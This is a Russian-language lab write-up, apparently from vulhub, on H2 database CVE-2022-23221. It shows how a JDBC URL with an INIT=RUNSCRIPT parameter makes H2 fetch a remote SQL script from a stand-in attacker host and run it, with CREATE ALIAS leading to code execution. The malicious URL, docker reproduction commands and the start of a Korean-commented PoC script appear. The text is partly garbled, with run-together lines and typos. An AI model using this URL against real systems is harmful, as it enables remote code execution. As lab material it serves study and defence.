
vulhub/H2-database/CVE-2022-23221
H2 — это система управления реляционными базами данных, которая предоставляет возможность компилировать и выполнять Java-код непосредственно внутри SQL-движка.
Драйвер H2 разбирает JDBC URL для установления соединения между приложением и базой данных. При этом через параметры конфигурации, включённые в URL, можно управлять начальным состоянием или поведением базы данных.
В уязвимых версиях H2 до 2.1.210 существует проблема, позволяющая через параметр INIT в JDBC URL выполнять удалённые SQL-скрипты. Злоумышленник эксплуатирует это, внедряя с удалённой стороны специально сформированный SQL-скрипт и выполняя через его внутренние конструкции системные команды, что и приводит к уязвимости CVE-2022-23221.
Особенности этой уязвимости следующие.
Область воздействия уязвимости
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> обход настроек безопасности
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-команда, автоматически выполняемая при соединении приложения с БД
CREATE ALIAS.
CREATE ALIAS внутри удалённо выполняемого скрипта заставляет H2 выполнить Java-функцию из скрипта внутри БД, что в результате приводит к RCE.Сценарий
id, whoami, pwd, это означает, что уязвимое окружение H2 развёрнуто и что в процессе разбора вредоносного JDBC URL файл exploit.sql был удалённо скачан с внешнего сервера attacker и выполнен.Настройка окружения
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : предоставляет файл exploit.sqlПосле настройки окружения при подключении к http://your-ip:8082 открывается веб-страница H2.
: В веб-консоли применяется политика безопасности, поэтому параметры, являющиеся условием уязвимости, могут быть отфильтрованы; таким образом, для воспроизведения уязвимости вредоносный параметр JDBC URL вводится напрямую через CLI, и проверяется результат.
Нормальный JDBC URL: "jdbc:h2:mem:test"
Команда нормального запроса
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Результат выполнения

Вредоносный JDBC URL вводится в драйвер H2, чтобы попытаться установить соединение с сервером attacker. При этом есть 2 способа ввода URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 в соответствии с указанным в параметре INIT JDBC URL INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' запрашивает (HTTP GET) файл exploit.sql у сервера attacker и выполняет его внутри базы данных H2.
docker logs attacker можно увидеть лог запроса файла exploit.sql, поступившего с сервера h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys